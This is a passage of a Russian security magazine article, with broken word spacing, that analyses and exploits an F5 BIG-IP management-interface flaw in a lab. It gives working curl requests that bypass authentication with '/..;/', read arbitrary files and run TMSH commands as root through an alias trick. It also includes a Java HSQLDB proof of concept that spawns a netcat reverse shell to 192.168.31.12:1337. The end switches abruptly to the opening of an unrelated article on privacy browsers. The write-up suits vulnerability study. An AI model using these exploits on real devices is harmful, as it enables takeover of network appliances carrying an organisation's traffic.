его сме нить). Теперь мож но пос мотреть IP‐адрес вир туал ки.

default

IP‐адрес вир туаль ной машины BIG‐IP

От кры ваем бра узер и перехо дим на этот IP. Видим фор му авто риза ции Traffic
Management User Interface.

Фор ма авто риза ции BIG‐IP Configuration Utility

Стенд готов.

Продолжение статьи →
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ДЕТАЛИ УЯЗВИМОСТИ
Вер немся в кон соль. Пос мотрим, что за веб‐сер вер слу шает 443‐й порт.

netstat   |  443 ‐lnpe grep 

Смот рим, какой сер вис слу шает 443‐й порт в BIG‐IP

Это  обыч ный  демон  ,  но  оче вид но,  что  он  исполь зует ся  прос то
как  фрон тенд  для  прок сирова ния  зап росов  куда‐то  даль ше.  Поищем  сре ди
кон фигура цион ных фай лов дирек тивы  .

httpd

ProxyPass

 grep ‐iR ProxyPass /etc/httpd 

По иск дирек тивы прок сирова ния в кон фигах httpd

Наш лось мно го инте рес ного в фай ле  ./etc/httpd/conf.d/proxy_ajp.conf

/etc/httpd/conf.d/proxy_ajp.conf
... 

 ^/ .*)$  :// : / /$  
=
ProxyPassMatch tmui/(.*\.jsp ajp localhost 8009 tmui 1 retry
5

 ^/ / :// : / /
/$   =
ProxyPassMatch tmui Control/(.*)$ ajp localhost 8009 tmui Control
1 retry 5

 ^/ / :// : / / /$  
=

ProxyPassMatch tmui deal/?(.*)$ ajp localhost 8009 tmui deal 1
retry 5

 ^/ / :// : / / /$  
=

ProxyPassMatch tmui graph/(.*)$ ajp localhost 8009 tmui graph 1
retry 5

 ^/ / :// : / /
/$   =
ProxyPassMatch tmui service/(.*)$ ajp localhost 8009 tmui service
1 retry 5

 ^/ :// : / / $  
=
ProxyPassMatch hsqldb(.*)$ ajp localhost 8009 tmui hsqldb 1 retry
5
... 

И  наз вание,  и  содер жимое  фай ла  наводят  на  мысль,  что  зап росы  переп‐ 
равля ются  к  веб‐сер веру  Tomcat  по  про токо лу  .  О  нем  я  уже  писал
в  .

AJP
статье про уяз вимость в Tomcat

8009‐й порт — это AJP‐про токол сер вера Apache Tomcat

Но сей час проб лема не в этом. Нам нуж но пос мотреть на то, как переда ется
URI к Tomcat. Здесь сто ит обра тить ся к боль шому иссле дова нию 
о  нор мализа ции  путей  в  раз личных  при ложе ниях,  которое  он  пред ста вил
на Black Hat USA 2018 и DEF CON 26  ( ).  Там есть раз дел о Tomcat,  где
конс трук ция    исполь зует ся для  выхода из дирек тории,  обхо да  некото‐ 
рых пра вил и получе ния дос тупа к фай лам с важ ной информа цией. Это воз‐ 
можно потому, что веб‐сер вер вос при нима ет конс трук цию   как имя пап‐ 
ки,  а  Tomcat  интер пре тиру ет  его  в  качес тве  отно ситель ного  пути  —  вверх
по дереву в родитель скую дирек торию.

Оран жа Цая

PDF
/..;/

/..;/

Что бы про верить, работа ет ли этот баг в нашем слу чае, поп робу ем про‐ 
читать какой‐нибудь файл, дос туп к которо му в обыч ных усло виях зап рещен.
Спи сок таких мож но пос мотреть, нап ример, в кон фиге TMUI — 

.
/usr/local/

www/tmui/WEB‐INF/web.xml

/usr/local/www/tmui/WEB-INF/web.xml
<servlet‐mapping>
   <servlet‐name>org.apache.jsp.dashboard.viewset_jsp</servlet‐name>
   <url‐pattern>/dashboard/viewset.jsp</url‐pattern>
</servlet‐mapping>

Поп робу ем его прос мотреть прос тым зап росом.

curl     ‐k "https://192.168.31.140/tmui/dashboard/viewset.jsp" ‐is

В  ответ  получа ем  редирект  на  стра ницу  авто риза ции.  А  теперь  сде лаем
это при помощи конс трук ции  ./..;/

curl   
 
‐k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.

jsp" ‐is

Скрипт   отра баты вает успешно, и сер вер воз вра щает резуль тат.viewset.jsp

Об ход авто риза ции и прос мотр недос тупных стра ниц в F5 BIG‐IP

Те перь  мы  можем  читать  любые  стра ницы  и  выпол нять  сер вле ты,  которые
не про веря ют сес сию поль зовате ля внут ри себя.

Да вай пос мотрим, что мож но отко пать в деб рях TMUI. Все самое инте рес‐ 
ное лежит в дирек тории  . Здесь же находят‐ 
ся и сами сер вле ты, в откомпи лиро ван ном виде. В свя зи с этим мне понадо‐ 
бит ся  .  Что бы  было  про ще,  советую  прос то  заар хивиро вать  дирек‐ 
торию   в фор мате ZIP и открыть в JD‐GUI.

/usr/local/www/tmui/WEB‐INF/

JD‐GUI
/usr/local/www/tmui/WEB‐INF/

Де ком пиляция клас сов BIG‐IP в JD‐GUI

А спи сок эндпой нтов,  как мы уже выяс нили, мож но най ти в фай ле 
.  Их  очень  мно го,  поэто му  при веду  здесь

нес коль ко  наибо лее  инте рес ных,  которые  были  най дены  пос ле  релиза  уяз‐ 
вимос ти в паб лик.

/usr/lo‐
cal/www/tmui/WEB‐INF/web.xml

Пер вый —  ./tmui/locallb/workspace/fileRead.jsp

/usr/local/www/tmui/WEB-INF/web.xml
... 
<servlet>
   <servlet‐name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp
</servlet‐name>
   <servlet‐class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp
</servlet‐class>
</servlet>
... 
<servlet‐mapping>
   <servlet‐name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp
</servlet‐name>
   <url‐pattern>/tmui/locallb/workspace/fileRead.jsp</url‐pattern>
</servlet‐mapping>
... 

WEB-
INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java

   01: package WEB‐INF.classes.org.apache.jsp.tmui.locallb.workspace;
...

               
 

26: public final class fileRead_jsp extends HttpJspBase implements
JspSourceDependent {
...

           
         

61: public void _jspService(HttpServletRequest request,
HttpServletResponse response) throws IOException, ServletException {
...

       77:       String fileName = WebUtils.getProperty(request, "fileName")
;

 78:       try {
     79:         JSONObject resultObject = WorkspaceUtils.readFile(

fileName);
80:         out.print(resultObject.toString());

Этот  сер влет  поз воля ет  читать  про изволь ные  фай лы,  если  передать
в парамет ре  . Про буем про читать канонич ный  .fileName /etc/passwd

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/fileRead.jsp?fileName=/etc/passwd" ‐is

Ус пех, сер вер воз вра щает содер жимое фай ла.

Чте ние про изволь ных фай лов в BIG‐IP

Из инте рес ных фай лов, которые мож но про читать, сто ит отме тить:
 — здесь мож но узнать IP‐адре са инфраструк туры BIG‐IP;• /etc/hosts

  —  здесь  находят ся  перемен ные  кон фигура ции
BIG‐IP;

• /config/bigip.conf

  —  тут  мож но  почер пнуть  информа цию
о текущей лицен зии BIG‐IP.

• /config/bigip.license

Спи сок мож но про дол жать — я уве рен, ты зна ешь еще пару десят ков заман‐ 
чивых фай лов, которые толь ко и ждут того, что бы их про чита ли. А что бы было
еще  про ще,  на  помощь  нам  при ходит  сле дующий  инте рес ный  сер влет  — 

./tmui/locallb/workspace/directoryList.jsp

/usr/local/www/tmui/WEB-INF/web.xml
... 
<servlet>
   <servlet‐name>org.apache.jsp.tmui.locallb.workspace.
directoryList_jsp</servlet‐name>
   <servlet‐class>org.apache.jsp.tmui.locallb.workspace.
directoryList_jsp</servlet‐class>
</servlet>
... 
<servlet‐mapping>
   <servlet‐name>org.apache.jsp.tmui.locallb.workspace.
directoryList_jsp</servlet‐name>
   <url‐pattern>/tmui/locallb/workspace/directoryList.jsp</
url‐pattern>
</servlet‐mapping>
... 

На  вход  он  при нима ет  параметр  ,  а  на  выходе,  как  ты  уже
догадал ся, выда ет лис тинг ука зан ной дирек тории.

directoryPath

WEB-
INF/classes/org/apache/jsp/tmui/locallb/workspace/directo-
ryList_jsp.java

             
   

26: public final class directoryList_jsp extends HttpJspBase
implements JspSourceDependent {
...

           
         

61: public void _jspService(HttpServletRequest request,
HttpServletResponse response) throws IOException, ServletException {
...

       77:       String directoryPath = WebUtils.getProperty(request,
"directoryPath");

 78:       try {
     79:         JSONObject resultObject = WorkspaceUtils.listDirectory(

directoryPath);
80:         out.print(resultObject);

curl   

 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/
WEB‐INF/lib/" ‐s

Чте ние содер жимого дирек торий через уяз вимость в BIG‐IP

При чем содер жимое дирек торий выводит ся рекур сивно.

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" ‐s

Ди рек тории чита ются рекур сивно

Но  если  скрип ту  попада ются  фай лы  или  пап ки,  которые  текущий  поль‐ 
зователь не может про читать, то сер вер вер нет 500 Internal Server Error.

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/directoryList.jsp?directoryPath=/etc/httpd" ‐s

Ошиб ка при чте нии дирек тории через directoryList.jsp, если у текуще го
поль зовате ля недос таточ но прав

Как ты успел заметить, все эти методы чте ния фай лов и дирек торий вызыва‐ 
ются вот из это го клас са:

com.f5.tmui.locallb.handler.workspace.WorkspaceUtils 

И  если  поведе ние    и 
  было  впол не  понят ным,  то  в  сле дующем  сер вле те  нам  при дет ся

заг лянуть в этот класс, что бы луч ше разоб рать ся в осо бен ностях его работы.
Класс WorkspaceUtils рас полага ется в фай ле .jar по такому пути:

WorkspaceUtils.listDirectory WorkspaceUtils.
readFile

/usr/local/www/tmui/WEB‐INF/lib/tmui.jar 

Де ком пилиру ем его с помощью все той же JD‐GUI, если ты еще это го не сде‐ 
лал.

Пе рехо дим  к  наибо лее  инте рес ному  сер вле ту  — 
.

/tmui/locallb/work‐
space/tmshCmd.jsp

/usr/local/www/tmui/WEB-INF/web.xml
<servlet>
   <servlet‐name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</
servlet‐name>
   <servlet‐class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp
</servlet‐class>
</servlet>
... 
<servlet‐mapping>
   <servlet‐name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</
servlet‐name>
   <url‐pattern>/tmui/locallb/workspace/tmshCmd.jsp</url‐pattern>
</servlet‐mapping>

WEB-
INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.ja-
va

               
 

28: public final class tmshCmd_jsp extends HttpJspBase implements
JspSourceDependent {
...

           
         

63: public void _jspService(HttpServletRequest request,
HttpServletResponse response) throws IOException, ServletException {
...

       81:       String cmd = WebUtils.getProperty(request, "command");
               82:       if (cmd == null || cmd.length() == 0) {

83:         logger.error(NLSEngine.getString("ilx.workspace.error.
TmshCommandFailed"));

   84:       } else {
     85:         JSONObject resultObject = WorkspaceUtils.runTmshCommand(

cmd);
   86:         tmshResult = resultObject.toString();

Здесь  на  вход  при нима ется  параметр  ,  который  затем  переда ется
в метод  . Так как мы деком пилиро вали этот
класс, то пос мотрим, что дела ет  .

command
WorkspaceUtils.runTmshCommand

runTmshCommand

WEB-
INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceU-
tils.java

   01: package com.f5.tmui.locallb.handler.workspace;
...

       31: public class WorkspaceUtils {
...

             46: public static JSONObject runTmshCommand(String command) {
...

           51: String operation = command.split(" ")[0];
...

 53:       try {
         54:         String[] args = { command };

     
 

55:         Syscall.Result result = Syscall.callElevated(Syscall.TMSH
, args);

   56:         output = result.getOutput();
   57:         error = result.getError();

Здесь  про исхо дит  пар синг  стро ки,  которую  мы  переда вали  в  ,
и  затем  вызов  .  Как  вид но  из  наз вания,  этот  метод
вызыва ет коман ду   с повышен ными при виле гиями.

command
Syscall.callElevated

Syscall.TMSH

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
   13: import com.f5.mcp.schema.ltm.ShellCommandT;

...
               78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue()

;

Класс   находит ся в фай ле 
. Деком пилиру ем и заг лядыва ем в него.

com.f5.mcp.schema.ltm.ShellCommandT f5.rest.
mcp.schema.jar

usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema
/ltm/ShellCommandT.java

   01: package com.f5.mcp.schema.ltm;
...

           05: public class ShellCommandT extends SchemaEnum {
...

                 
 

70: public static final ShellCommandT SC_TMSH = new ShellCommandT(
"SC_TMSH", 32L);
...

             94: protected ShellCommandT(String tokenName, long tokenValue) {
         95: super("shell_command_t", tokenName, tokenValue);
   96: }

  (Traffic Management SHell) — это bash‐подоб ная ути лита для адми нис‐ 
три рова ния BIG‐IP. В ней мож но авто мати зиро вать коман ды и про цес сы, соз‐ 
давать  собс твен ные  коман ды  или  наборы  команд,  выпол нять  кас томные
скрип ты на TCL,  исполь зовать раз ные сце нарии поведе ния  сер вера,  вплоть
до его перезаг рузки и пол ного вык лючения. Очень инте рес ные воз можнос ти,
не прав да ли?  :) А если учесть, что все это дела ется с при виле гиями супер‐ 
поль зовате ля,  то этот сер влет ста новит ся лакомым кусоч ком при экс плу ата‐ 
ции уяз вимос ти.

TMSH

WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
               
   

162: public static Result callElevated(int command, String[] args)
throws CallException {

         163: return call(command, args, true);
 164: }

...
                 

     
186: private static Result call(int command, String[] args, boolean
elevated) throws CallException {
...

         203: Connection c = null;
     204: try {

...
         206: c = ConnectionManager.instance().getConnection();

...
         

   
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated
&& !UsernameHolder.isElevated()), false);

             
 

210: ObjectManager om = new ObjectManager((SchemaStructured)
LtmModule.ShellCall, c);

           211: DataObject query = om.newObject();
       212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
       213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
       214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.

getUser().getUsername());
           215: DataObject[] rs = om.queryStats(query);
                   216: if (rs != null && rs.length > 0)

   
   

217:       return new Result(rs[0].getInt((SchemaAttribute)ShellCall.
RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs
[0].getString((SchemaAttribute)ShellCall.ERRORS));

Да вай  поп робу ем  вывес ти  спи сок  адми нис тра торов  BIG‐IP.  Это  дела ется
при помощи коман ды  .tmsh list auth user admin

Прос мотр спис ка адми нис тра торов BIG‐IP через ути литу TMSH

Те перь сде лаем то же самое, толь ко через уяз вимость.

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/tmshCmd.jsp?command=list+auth+user+admin" ‐s

Вы пол нение команд TMSH через уяз вимость в F5 BIG‐IP

Но  это  не  все!  Если  нем ного  углу бить ся  в  докумен тацию  TMSH,  то  мож но
обна ружить инте рес ную коман ду   модуля  .bash util

Спи сок команд модуля util

Эта  коман да  дела ет  имен но  то,  что  от  нее  ожи даешь,  —  вызыва ет  bash
в необ ходимом кон тек сте. Здесь есть все те же фла ги, что и в обыч ном bash.

Стра ница ману ала коман ды bash в TMSH

Лю бые  коман ды  из  модуля    мож но  вызывать  как  при  помощи  ,  так
и пря мо из коман дной стро ки.

util run

• run /util bash ­c id

• bash ­c id

Раз ные вари анты выпол нения команд в bash через TMSH

Од нако, если поп робовать выпол нить любой из вари антов через уяз вимость,
в ответ сер вер вер нет ошиб ку  .Rejected Tmsh Command

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/tmshCmd.jsp?command=bash+‐c+id" ‐s

По пыт ка выз вать про изволь ную коман ду через уяз вимость в BIG‐IP

Это про исхо дит из‐за того, что перед тем, как выпол нить TMSH‐коман ду, сер‐ 
влет   про изво дит нес коль ко про верок.tmshCmd_jsp

WEB-
INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceU-
tils.java

       
           

     

52: if (!ShellCommandValidator.checkForBadShellCharacters(command
) && (operation.equals("create") || operation.equals("delete") ||
operation.equals("list") || operation.equals("modify"))) {

Ме тод    про веря ет
наличие зап рещен ных сим волов в стро ке. В расс трель ный спи сок попали:

ShellCommandValidator.checkForBadShellCharacters

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r 

WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java
           24: public static boolean checkForBadShellCharacters(String value) {
         25: char[] cArray = value.toCharArray();
                     26: for (int i = 0; i < cArray.length; i++) {
           27: char c = cArray[i];
                                             

                                             
                                             

                                         

28: if (c == '&' || c == ';' || c == '`' || c == ''' || c == '\'
|| c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c ==
'<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c
== ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')

    29:       return true;
      30: }
     31: return false;
 32: }

Но  это  не  глав ная  проб лема.  Что  дей стви тель но  умень шает  область  дей‐ 
ствия, так это вто рая часть усло вия — про вер ка выпол няемой опе рации.

       
   

operation.equals("create") || operation.equals("delete") || operation
.equals("list") || operation.equals("modify")

Как  видишь,  воз можно  выпол нить  толь ко  четыре  коман ды  TMSH:  ,
,    и  .  И  здесь  на  помощь  при ходят  али асы.  Как  и  в  bash,

в  TMSH  мож но  соз дать  псев донимы  (alias)  для  коман ды,  что бы  каж дый  раз
не набирать ее. За это отве чает модуль  . Али асы быва ют двух типов —

 и  . Они отли чают ся областью видимос ти — пер вые дос тупны
внут ри  всей  сис темы,  вто рые  огра ниче ны  текущим  поль зовате лем.  Пос‐ 
мотреть  спи сок  псев донимов  мож но  с  помощью  коман ды  ,  уда лить —

, а соз дать новый при помощи  .

create
delete list modify

cli alias
shared private

list
delete create

Спи сок общих (shared) псев донимов в TMSH

Ду маю,  ты  уже  догады ваешь ся,  к  чему  я  веду.  Нуж но  соз дать  псев доним
для коман ды  , в качес тве име ни которо го ука зать любую из четырех раз‐ 
решен ных  опе раций.  Толь ко  советую  делать  область  видимос ти 
и уда лять псев доним сра зу пос ле выпол нения необ ходимой коман ды, что бы
не мешать нор маль ной работе сис темы. Итак, план дей ствий сле дующий.

bash
private

Ко ман дой    соз даем
в  зоне  видимос ти  поль зовате ля  али ас  с  име нем  ,  который  будет
вызывать коман ду  .

create cli alias private modify  command  bash
modify

bash

curl   

 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/tmshCmd.
jsp?command=create+cli+alias+private+modify+command+bash" ‐s

Те перь   выпол нит необ ходимую коман ду. В моем слу чае это  .modify ‐c id id

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/tmshCmd.jsp?command=modify+‐c+id" ‐s

За тем    —  уда ляем  соз данный  али ас
во избе жание проб лем.

delete  cli  alias  private  modify

curl   
 

‐k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/
workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" ‐s

Ус пешная экс плу ата ция уяз вимос ти в F5 BIG‐IP. Выпол нение про изволь ‐
ных команд с пра вами супер поль зовате ля

Та кую  пос ледова тель ность  лег ко  авто мати зиро вать.  Готовые  решения  ты
с лег костью смо жешь най ти на прос торах  . Сущес тву ет  даже 

.
GitHub го товый

модуль для Metasploit
К сло ву, этот спо соб RCE был най ден поз днее. Миха ил же в сво ем 
  пред лага ет  более  инте рес ный  метод  выпол нения  команд  —  через  базу

дан ных  . Давай заод но пос мотрим, как это дела ется.

ре пор‐ 
те

HyperSQL
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БОЛЬШАЯ ДЫРА
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

RCE ЧЕРЕЗ HYPERSQL
В BIG‐IP исполь зует ся база дан ных HyperSQL. Зап росы к сер вле ту,  который
с ней работа ет,   прок сиру ют по URI  .httpd /hsqldb

/etc/httpd/conf.d/proxy_ajp.conf
 ^/ :// : / / $  

=
ProxyPassMatch hsqldb(.*)$ ajp localhost 8009 tmui hsqldb 1 retry
5

Ко неч но же, этот адрес дос тупен  толь ко пос ле авто риза ции, но  ты  уже зна‐ 
ешь, как это обой ти.

curl     ‐k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" ‐s

Об ход авто риза ции для дос тупа к HSQLDB

HyperSQL поз воля ет работать с базой дан ных по про токо лу HTTP(S). Под клю‐ 
чение  .  По  дефол ту  исполь зует ся  поль зователь  SA
и пус той пароль.

опи сано  в  докумен тации

Те перь давай накида ем PoC, который будет делать какие‐нибудь прос тые
зап росы  к  БД.  Для  начала  нуж но  ска чать  пра виль ную  биб лиоте ку  HSQLDB
( ). Затем про пишем в hosts стро куZIP

192.168.31.140 localhost.localdomain 

Ра зуме ется, IP дол жен быть тво ей вир туал ки! :) Это нуж но, что бы не возить ся
с SSL‐сер тифика тами в Java. Далее в качес тве URL для кон некта к базе дан‐ 
ных ука зыва ем адрес с бай пасом авто риза ции.

/hsqldb-poc-rce/src/com/f5rce/Main.java
   01: package com.f5rce;
  02:
   03: import java.sql.*;
   04: import java.lang.*;
   05: import java.util.Properties;
  06:
       07: public class Main {
  08:
                   09: public static void main(String[] args) throws Exception {

10:         Class.forName("org.hsqldb.jdbcDriver");
     11:         String connectionURL = "jdbc:hsqldb:https://localhost.

localdomain/tmui/login.jsp/..%3b/hsqldb/";

Те перь имя поль зовате ля и пароль.

/hsqldb-poc-rce/src/com/f5rce/Main.java
         12: Properties props = new Properties();
 13: props.setProperty("user","SA");
 14: props.setProperty("password","");

Под клю чаем ся к БД.

/hsqldb-poc-rce/src/com/f5rce/Main.java
   15: try {
             16: Connection c = DriverManager.getConnection(connectionURL,

props);
           17: Statement stmt = null;
           18: ResultSet result = null;

Те перь выпол няем прос тень кий зап рос

     SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS

/hsqldb-poc-rce/src/com/f5rce/Main.java
     19: stmt = c.createStatement();
     20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.

SYSTEM_USERS");

По луча ем резуль тат и выводим в кон соль.

/hsqldb-poc-rce/src/com/f5rce/Main.java
         21: while (result.next()) {

   22:         System.out.println("Got result: " + result.getString(1));
     23: }
     24: result.close();
     25: stmt.close();
         26: } catch (SQLException e) {
     27: e.printStackTrace();
 28: }

Вы пол нение зап роса к БД HyperSQL через обход авто риза ции в BIG‐IP

Ес ли вни матель но прос мотреть докумен тацию к базе дан ных, то мож но обна‐ 
ружить  любопыт ную  фун кцию  ,  которая  поз воля ет  вызывать  внеш ние
фун кции Java.

CALL

Сна чала про верим   — пути, отку да под гру жают ся биб лиоте ки:classpath

 CALL "java.lang.System.getProperty"('java.class.path')

/hsqldb-poc-rce/src/com/f5rce/Main.java
     20: result = stmt.executeQuery("CALL "java.lang.System.getProperty"(

'java.class.path')");

По луче ние classpath через HSQLDB в BIG‐IP

Ана логич ные пути исполь зует Tomcat. Это хорошо, так как спи сок потен циаль‐ 
но  опас ных  методов  доволь но  обши рен.  Сре ди  это го  мно гооб разия  нуж но
най ти метод с модифи като ром  , то есть тот, который мож но вызывать
без соз дания объ екта клас са. Миха ил обна ружил под ходящий:

static

com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext 

Он  находит ся  в  фай ле  ,
который мы уже деком пилиро вали.

/usr/local/www/tmui/WEB‐INF/classes/tmui.jar

WEB-
INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.ja-
va

   01: package com.f5.view.web.pagedefinition.shuffler;
...

       12: public class Scripting {
     13: static {
             14: Properties props = new Properties();
       15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/

WEB‐INF/lib/");
       

   
16: System.setProperty("java.class.path", System.getProperty(
"java.class.path") + ":/usr/local/www/tmui/WEB‐INF/classes");
...

               
 

45: public static void setRequestContext(String object, String
screen) {

                   
   

46: PyObject current = getInterpreter().eval(object + "__" +
screen + "()");

     47: currentObject.set(current);
   48: }

Этот  метод  выпол няет  код  Jython  и  воз вра щает  объ ект  типа 
. Jython — это реали зация язы ка Python на Java, поэто му нуж но

исполь зовать  его  конс трук ции.  Будем  выпол нять  код  при  помощи 
. Для нашего удобс тва в BIG‐IP по дефол ту уста нов лен

netcat с под дер жкой фла га  . Дела ем через него бэк коннект.

org.python.‐
core.PyObject

Runtime.
getRuntime().exec()

‐e

/hsqldb-poc-rce/src/com/f5rce/Main.java
     20: result = stmt.executeQuery("CALL "com.f5.view.web.pagedefinition.

shuffler.Scripting.setRequestContext" +
       21:         ""('Runtime.getRuntime().exec("nc 192.168.31.12 1337 ‐e /

bin/bash")#','#')");

Ус пешная экс плу ата ция BIG‐IP. Уда лен ное выпол нение команд через
HSQLDB

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Рас смот ренная уяз вимость в оче ред ной раз доказы вает, что даже такая нез‐ 
начитель ная  проб лема,  как  некор рек тная  нор мализа ция  пути,  ведет  к  серь‐ 
езным  пос ледс тви ям.  Зна ние  инфраструк туры  при ложе ния  и  воз можнос ти
вхо дящих  в  его  сос тав  инс тру мен тов  поз волили  пол ностью  зах ватить  кон‐ 
троль над машиной BIG‐IP. И думаю, нет смыс ла объ яснять, какие проб лемы
может  выз вать  ском про мети рован ная  сис тема,  через  которую  ходит  весь
сетевой тра фик.

Пос ле  получе ния  деталей  уяз вимос ти  раз работ чики  F5  пред ложили  ряд
вре мен ных решений до выхода пол ноцен ного пат ча. К сожале нию, некото рые
из них ока зались неэф фектив ными и не поз воля ют в дол жной мере защитить‐ 
ся  от  зло умыш ленни ков.  Поэто му  луч ше  все го  обновлять ся  до  вер сии  при‐ 
ложе ния, где проб лема пол ностью исправ лена.
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ПРИВАТНОСТЬ

Ус танов ка спе циаль ного безопас ного бра узе ра — это один
из спо собов быс тро и лег ко повысить уро вень сво ей при ват‐ 
ности. Толь ко бра узе ров этих раз велось в пос леднее вре мя
как блох на бар боске. С какими из них не страш но и в огонь,
и в воду, и на сай ты для взрос лых, а с какими луч ше даль ше
Яндекса  не  ходить  вов се?  Сегод ня  мы  попыта емся  най ти
ответ на этот живот репещу щий воп рос.

Ког да‐то  на  «Гор бушке»  водилась  осо бая  порода  мужич ков  с  хит рым  при‐ 
щуром,  у  которых  обы вате ли  мог ли  при обрести  по  сход ной  цене  ком‐ 
пакт‐диск с адресно‐телефон ной базой жителей Мос квы и осталь ного Под‐ 
московья  вплоть  до  Кам чатки.  Сей час  тор говлей  пер сональ ными  дан ными
занима ются куда более кру тые ребята: соци аль ные сети кон куриру ют в этом
биз несе  с  поис ковика ми,  от  которых  с  неболь шим  отры вом  отста ют  бан ки
и про чие ком мерчес кие струк туры.

Для  тре кин га  юзе ров  исполь зуют ся  не  толь ко  фай лы  cookies  и  прес‐ 
ловутое отсле жива ние по IP, но и так называ емый отпе чаток бра узе ра, вклю‐ 
чающий дан ные о вер сии прог раммы, раз ряднос ти ОС, язы ковых нас трой ках,
User  Agent,  экранном раз решении и  иных  тех ничес ких  парамет рах  сис темы.
Еще  есть  тех нология  Evercookie,  реали зован ная  с  помощью  спе циаль ного
при ложе ния  на  JavaScript,  и  поведен ческий  ана лиз,  ког да  спе циаль ные
скрип ты собира ют информа цию о дей стви ях поль зовате ля — вре мени прос‐ 
мотра  веб‐стра ниц,  ско рос ти  прок рутки,  нажати ях  на  ссыл ки  и  про чем.
Отсле дить, а тем более заб локиро вать все эти фун кции не так‐то прос то.

В  нас трой ках  любого  сов ремен ного  бра узе ра  мож но  отыс кать  раз дел
«Безопас ность»,  где  соб раны  свя зан ные  с  при ват ностью  и  кон фиден циаль‐ 
ностью  парамет ры.  Так,  в  Chrome  при сутс тву ет  режим  «безопас ного  прос‐ 
мотра» веб‐стра ниц со встро енной защитой от «потен циаль но опас ных» сай‐ 
тов,  воз можность  вклю чить  собс твен ную  DNS‐служ бу,  а  так же  нас тро ить
элек трон ные  клю чи и сер тифика ты. В Opera есть собс твен ный VPN, боль ше
похожий  на  баналь ный  прок си,  и  воз можность  зап ретить  веб‐узлам  отсле‐ 
живать исхо дящий тра фик. Плюс та же стан дар тная «защита от вре донос ных
сай тов».  Firefox  име ет  встро енную  защиту  от  тре кин га,  поз воля ет  нас тро ить
парамет ры хра нения паролей, cookies и исто рии бра узе ра.

Од нако все эти тех ничес кие ухищ рения нивели руют ся воз можностью уста‐ 
нов ки  пла гинов,  которые  могут  тво рить  поч ти  все,  что  угод но  их  раз работ‐ 
чикам. Некото рые  пла гины  спо соб ны  отправ лять  лич ные  дан ные  на  уда лен‐ 
ный  сер вер,  отсле живать  дей ствия  поль зовате ля,  встра ивать  в  прос матри‐ 
ваемые  веб‐стра ницы  рек ламу.  В  общем,  если  эле мен тарная  защита
от  слеж ки  встро ена  прак тичес ки  во  все  сов ремен ные  бра узе ры,  то  защита
от юзе ра там нап рочь отсутс тву ет.

Счи тает ся, что безопас ные, или, как их еще называ ют, защищен ные, бра‐ 
узе ры  —  это  «чис тая»  прог рамма  без  вся ких  свис телок  и  допол нений,
заточен ная  под  мак сималь ную  кон фиден циаль ность.  Они  поз воля ют
работать  в  интерне те,  оставляя  минимум  циф ровых  сле дов,  бло киру ют
переда чу  телемет рии  и  сбор  дан ных.  Они  осто рож но  отно сят ся  к  фай лам
cookies, исто рии прос мотра и более береж но хра нят дан ные форм, которые
запол няет поль зователь, либо не хра нят их вов се. Но глав ное — боль шинс тво
из  них  не  под держи вает  уста нов ку  сто рон них  неп роверен ных  рас ширений,
в чис ле которых к бра узе ру может «при лип нуть» что‐нибудь нехоро шее.

Ког да речь  заходит о  защищен ных прог раммах для прос мотра веб‐стра‐ 
ниц, пер вым делом вспо мина ешь Tor Browser, хорошо извес тный всем и каж‐ 
дому. Имен но поэто му его мы и не будем рас смат ривать в этой статье. Тем
более  что  Tor  Browser  чаще  исполь зует ся  имен но  как  инс тру мент  для  сер‐ 
финга  по  дар кне ту.  Вмес то  него мы  прис таль но  взгля нем  на шесть  аль тер‐ 
натив ных  прог рамм,  которые  их  раз работ чики  позици они руют  как  безопас‐ 
ные и защищен ные бра узе ры для Windows.

ДОВЕРЯЙ, НО ПРОВЕРЯЙ!
